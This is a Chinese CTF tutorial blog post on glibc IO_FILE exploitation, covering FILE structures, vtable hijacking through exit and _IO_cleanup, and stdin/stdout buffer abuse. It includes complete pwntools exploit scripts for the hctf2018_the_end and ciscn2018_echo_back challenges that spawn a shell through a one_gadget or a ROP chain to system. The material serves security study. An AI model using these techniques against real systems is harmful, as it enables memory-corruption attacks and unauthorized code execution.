IO_FILE Exploitation

简介

IO_FILE Exploitation也是ctf里面常考的漏洞点,在这里也有很多种利用姿势,我们还是先从IO_FILE的结构来讲起

IO_FILE结构

struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

_IO_FILE

这个就是我们每次使用gdb看到的IO结构,file是子结构,里面有对于相关IO的描述

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这里面可以看到熟悉的_fileno,就是文件描述符,stdin对应0,stdout对应1,stderr对应2
之前遇见过一个题目,他会close(1),导致我们看不见flag,我们可以在之前把stdout的fileno修改一下,这样就不会关闭

IO_jump_t

vtable类似于一种虚表,指向了一系列函数指针

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
};
#define JUMP_FIELD(TYPE, NAME) TYPE NAME

然后我们随便以setbuf为例,可以看到_IO_setbuf_t就是一个函数指针

typedef FILE* (*_IO_setbuf_t) (FILE *, char *, ssize_t);

比如说我们去调用一个_IO_SETBUF(fd)
最后就是通过fd找到vtable然后找到setbuf的函数地址,最后跳转到真正的地方

图示

在这里插入图片描述

利用原理

进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的。
这里我们打开一个文件
在这里插入图片描述
在这里插入图片描述
可以看见在堆上
然后我们查看_IO_list_all
在这里插入图片描述
可以看到_IO_list_all是一个单向链表,保存最新打开的文件,然后通过_chain可以找到其他文件结构
一般的顺序就是
创建的文件结构->stderr->stdout->stdin
然后对于正常情况来说,vtable的权限是ronly,所以我们不能通过直接找到虚表然后修改函数地址,并且我们可以看到默认情况下所有的文件结构都指向同一个_IO_file_jumps
在这里插入图片描述
在这里插入图片描述

但是由于stdin系列保存在libc的data段,fopen位于堆,这些都是可以写的
在这里插入图片描述

所以我们可以先修改vtable的值,让他指向一个我们伪造的vtable里面,然后vtable里的函数被修改成比如说system
一般来说vtable不需要伪造多么完整,以setbuf为例
由于setbuf在vtable的偏移为0x58,我们可以这样修改
在这里插入图片描述
下面来讲讲可以进行IO_FILE Explotion

exit函数

注意exit打IO_FILE Explotion只适用于libc-2.24之前,因为在libc-2.24之后加入了check机制

vtable check

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

/* Check if unknown vtable pointers are permitted; otherwise,
   terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminate
   the process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果vtable非法,那么就会退出
所以一切伪造vtable的都有版本要求,而在exit里面打IO也有这个要求

exit函数的通用性

为什么要利用exit,因为可以来说,每个进程最后都会调用exit函数
在这里插入图片描述
因为每个进程都需要回收对应的资源
借用https://www.anquanke.com/post/id/243196里面的话
exit() => 进行用户层面的资源析构 + 调用_exit()进行系统级别的析构
这里的_GI_exit就是用户层面的资源析构,在函数里做了线程局部储存释放,调用exit_function,以及IO_cleanup

exit函数

在这里插入图片描述

exit调用__run_exit_handlers

在这个函数最后有这么一个调用
在这里插入图片描述
run_lsit_atexit是传入的第三个参数,1,所以会执行
在这里插入图片描述

RUN_HOOK

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这里面差不多是这个意思,NAME相当于是一个起始地址,我从头开始调用里面的每一个函数,参数就是传入的ARGS

回到我们__libc_atexit
在这里插入图片描述
他是一个单独的段
在这里插入图片描述
里面有一个很熟悉的函数_IO_CLEANUP,这个函数就是之后我们产生漏洞的根源,所以RUN_HOOK的效果就是调用_IO_cleanup

__run_exit_handlers调用_IO_cleanup

在这里插入图片描述
这里面会调用_IO_unbuffer_all

_IO_cleanup调用_IO_unbuffer_all

在这里插入图片描述

这里其实就是遍历当前打开的所有IO,如果满足fd不是_IO_UNBUFFERED,并且mode!=0就会进入后面的操作
我们主要关注里面的函数调用
可以看到有个
在这里插入图片描述
这里就会调用vtable里的_setbuf,所以一旦我们可以过if的判断,然后修改对应文件结构的vtable,就可以getshell
暂时不知道这个if判断是什么意思,但有人分析到就是
_IO_cleanup会把stdout里面的缓冲区清空,所以stdout是可以通过这个判断并调用_IO_SETBUF
我们来看看这个宏
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
其实就是通过vtable找到函数地址并调用,也就产生了漏洞

例题

其实下面这个题目不算例题,因为buuctf远程的版本是2.27有check所以攻击不了(可能当时比赛环境是23的,我看还有很多网上拿这个题目举例),这里我就手动把libc换成23版本

hctf2018_the_end

hctf2018_the_end

题目分析

在这里插入图片描述
一个简单的任意地址写1个bit
以及一个泄露libc
在这里插入图片描述

伪造vtable

我们找的时候尽量离_IO区域远一点,同时最好只用修改低6位最好
在这里插入图片描述

ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
_IO_2_1_stdout_addr = libc_base + libc.symbols["_IO_2_1_stdout_"]
one_gadget_addr = libc_base + one_gadget[0]
fake_setbuf_addr = libc_base + libc.sym["__memalign_hook"]
s(p64(fake_setbuf_addr))
s(p8(one_gadget_addr & 0xFF))
s(p64(fake_setbuf_addr + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(fake_setbuf_addr + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))

在这里插入图片描述

修改vtable地址为我们伪造的区域

由于setbuf距离vtable开头偏移为0x58,所以我们要减去0x58才是vtable的起始地址,同时vtable距离_IO结构的偏移是0xd8

_IO_2_1_stdout_vtable_addr = _IO_2_1_stdout_addr + 0xD8
fake_vtable_addr = fake_setbuf_addr - 0x58
s(p64(_IO_2_1_stdout_vtable_addr))
s(p8(fake_vtable_addr & 0xFF))
s(p64(_IO_2_1_stdout_vtable_addr + 1))
s(p8((fake_vtable_addr >> 8) & 0xFF))

在这里插入图片描述

attack

在这里插入图片描述

allpayload

ru(b"gift ")
libc_base = int(r(14), 16) - libc.sym["sleep"]
_IO_2_1_stdout_addr = libc_base + libc.symbols["_IO_2_1_stdout_"]
one_gadget_addr = libc_base + one_gadget[1]
fake_setbuf_addr = libc_base + libc.sym["__memalign_hook"]
s(p64(fake_setbuf_addr))
s(p8(one_gadget_addr & 0xFF))
s(p64(fake_setbuf_addr + 1))
s(p8((one_gadget_addr >> 8) & 0xFF))
s(p64(fake_setbuf_addr + 2))
s(p8((one_gadget_addr >> 16) & 0xFF))
_IO_2_1_stdout_vtable_addr = _IO_2_1_stdout_addr + 0xD8
fake_vtable_addr = fake_setbuf_addr - 0x58
s(p64(_IO_2_1_stdout_vtable_addr))
s(p8(fake_vtable_addr & 0xFF))
s(p64(_IO_2_1_stdout_vtable_addr + 1))
s(p8((fake_vtable_addr >> 8) & 0xFF))
it()

这里我调试的时候确实执行了shell,但不知道为啥还是EOF了,蛋疼

IO任意地址读写

首先先介绍常用的输入输出函数的调用链
明确一点,read函数是不会修改IO file结构体的内容的,一般都是在调用read的函数里面修改

常用函数调用链

scanf,fscanf

read
_IO_new_file_underflow at fileops.c#check机制主要在这里,前面基本没有check
__GI__IO_default_uflow at genops.c
_IO_vfscanf_internal at vfscanf.c
__isoc99_scanf at  at isoc99_scanf.c
main ()
__libc_start_main

gets

read
__GI__IO_file_underflow
__GI__IO_default_uflow
gets
main
 __libc_start_main+240

fread

read
_IO_new_file_underflow
__underflow 
_IO_file_xsgetn 
_IO_sgetn
_IO_fread

printf

write
_IO_new_file_write
new_do_write+51
__GI__IO_do_write
__GI__IO_file_xsputn
vfprintf
printf
main
__libc_start_main

fwrite

_IO_new_do_write
_IO_new_file_overflow
_IO_new_file_xsputn
_IO_fwrite

利用stdin任意地址写

这里我们这样分析,从后往前分析,我们先找到最后调用read的地方,这里以scanf为例

_IO_new_file_underflow会调用read

所以从_IO_new_file_underflow开始分析

int
_IO_new_file_underflow (_IO_FILE *fp)
{
  _IO_ssize_t count;
  if (fp->_flags & _IO_NO_READS)//第一个check,如果flags设置不可以读,就退出,_IO_NO_READS对应的是4
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
    
  if (fp->_IO_read_ptr < fp->_IO_read_end)//这里也要过check,不然就直接返回了,一般我们伪造都是fp->_IO_read_ptr=fp->_IO_read_end
    return *(unsigned char *) fp->_IO_read_ptr;

  if (fp->_IO_buf_base == NULL)//这里也要绕过check,不然会重新初始化fp的一些_IO_buf_base ,所以_IO_buf_base不能为空
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
	{
	  free (fp->_IO_save_base);
	  fp->_flags &= ~_IO_IN_BACKUP;
	}
      _IO_doallocbuf (fp);
    }

//这里省略了一点代码,因为不太会影响,下面就开始设置IO的内容
  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
  fp->_IO_read_end = fp->_IO_buf_base;
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
    = fp->_IO_buf_base;
#从fp里面读入  fp->_IO_buf_end - fp->_IO_buf_base的内容,从 fp->_IO_buf_base开始写入
  count = _IO_SYSREAD (fp, fp->_IO_buf_base,
		       fp->_IO_buf_end - fp->_IO_buf_base);
  fp->_IO_read_end += count;
  return *(unsigned char *) fp->_IO_read_ptr;
}

这里我么还是结合具体题目来看看check的问题

ciscn2018_echo_back

ciscn2018_echo_back

题目分析

echoback里面长度限制为7的格式化字符串漏洞,可以泄露libc,也可以修改一个字节为0
在这里插入图片描述
readname会把名字放在栈上,可以往这个名字对应的地址写内容
在这里插入图片描述

利用

首先泄露libc

echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240

查看当前的stdinIO
在这里插入图片描述
可以看到stdin没有IO_not_read flag,所以第一个check可以过
在这里插入图片描述
readptr=read end所以第二个check可以过
在这里插入图片描述
IO_buf_base不为NULL,第三个check可以过
因为我们可以任意地址写\x00,那么如果把IO_BUf_base低2位改成0
那么他指向的是_IO_write_base,那么我们就可以覆盖第二次写的地址了
在这里插入图片描述
修改IOBUF_Base低2位为0

_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")

我们调试下一次scanf,这是进入之前的状态
在这里插入图片描述

我们直接断在_IO_new_file_underflow
在这里插入图片描述
第一个check过
第二三个也过
在这里插入图片描述
在调用read之前我们查看当前的状态,可以看到其他所有的都设置成了和IO_buf_base一样
在这里插入图片描述
在这里插入图片描述
这里就相当于read(0,IO_BUF_base,64),由于我门的控制,这里刚好从_IO_write_base开始覆盖,我们先来随便发送几个payload
在这里插入图片描述
可以看到都被覆盖掉了
在这里插入图片描述
在这里插入图片描述
那么我们现在来思考一下要写什么,这是个好问题,如果说我们可以把IO_buf_base控到返回地址,那么就可以直接getshell
那我们在泄露libc地址后面加上一个泄露栈地址吧

echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8

接下来我想做的就是控制_IO_buf_base和buf_end

echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240#泄露libc
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8#返回地址
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")#修改低2位为0

sa(b"choice>>", b"2")
sa(b"length:", b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20))#这里注意一定要用send,不能用sendline,如果用sendline的话,\n就会写入到_IO_save_base,如果_IO_save_base不为NULL就会被free掉,就会报错
s(b"a")

在这里插入图片描述

但现在由于read_ptr!=read_end,所以我们无法直接任意读,过不了check
在这里插入图片描述在这里插入图片描述
在这里面有三个读的操作
getchar会让我们的read_ptr++
在这里插入图片描述

for i in range(0x27):
    echoback(b"a")#平衡read_ptr

在这里插入图片描述
接下来就可以利用scanf再一次任意地址写,这次就是写到返回地址了然后退出getshell

pop_rdi_ret = 0x21102 + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
system_addr = libc_base + libc.sym["system"]
sa(b"choice>>", b"2")
sa(b"length:", p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))
s(b"a")
sa(b"choice>>", b"3")

allpayload

def setname(name: bytes):
    sa(b"choice>> ", b"1")
    sa(b"name:", name)


def echoback(payload: bytes):
    sa(b"choice>> ", b"2")
    sla(b"length:", b"7")
    s(payload)


echoback(b"%19$p")
ru(b"say:")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240
echoback(b"%12$p")
ru(b"say:")
ret_addr = int(r(14), 16) + 8
_IO_2_1_stdin_addr = libc_base + libc.sym["_IO_2_1_stdin_"]
_IO_2_1_stdin_addr__IO_buf_base = _IO_2_1_stdin_addr + 56
setname(p64(_IO_2_1_stdin_addr__IO_buf_base))
echoback(b"%16$hhn")

sa(b"choice>>", b"2")
sa(b"length:", b"a" * 0x18 + p64(ret_addr) + p64(ret_addr + 0x20))
s(b"a")
for i in range(0x27):
    echoback(b"a")

pop_rdi_ret = 0x21102 + libc_base
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh\0"))
system_addr = libc_base + libc.sym["system"]
sa(b"choice>>", b"2")
sa(b"length:", p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr))
s(b"a")
sa(b"choice>>", b"3")
it()

在这里插入图片描述

【待续】

利用stdout任意地址读写

stdin只能输入数据到缓冲区,因此只能进行写。而stdout会将数据拷贝至输出缓冲区,并将输出缓冲区中的数据输出出来,所以如果可控stdout结构体,通过构造可实现利用其进行任意地址读以及任意地址写

任意写

任意写的主要原理为:构造好输出缓冲区将其改为想要任意写的地址,当输出数据可控时,会将数据拷贝至输出缓冲区,即实现了将可控数据拷贝至我们想要写的地址。

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
	{
	  const char *p;
	  for (p = s + n; p > s; )
	    {
	      if (*--p == '\n')
		{
		  count = p - s + 1;
		  must_flush = 1;
		  break;
		}
	    }
	}
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
	count = to_do;
#ifdef _LIBC
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
#else
      memcpy (f->_IO_write_ptr, s, count);
      f->_IO_write_ptr += count;
#endif
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
	/* If nothing else has to be written we must not signal the
	   caller that everything has been written.  */
	return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

      if (do_write)
	{
	  count = new_do_write (f, s, do_write);
	  to_do -= count;
	  if (count < do_write)
	    return n - to_do;
	}

      /* Now write out the remainder.  Normally, this will fit in the
	 buffer, but it's somewhat messier for line-buffered files,
	 so we let _IO_default_xsputn handle the general case. */
      if (to_do)
	to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值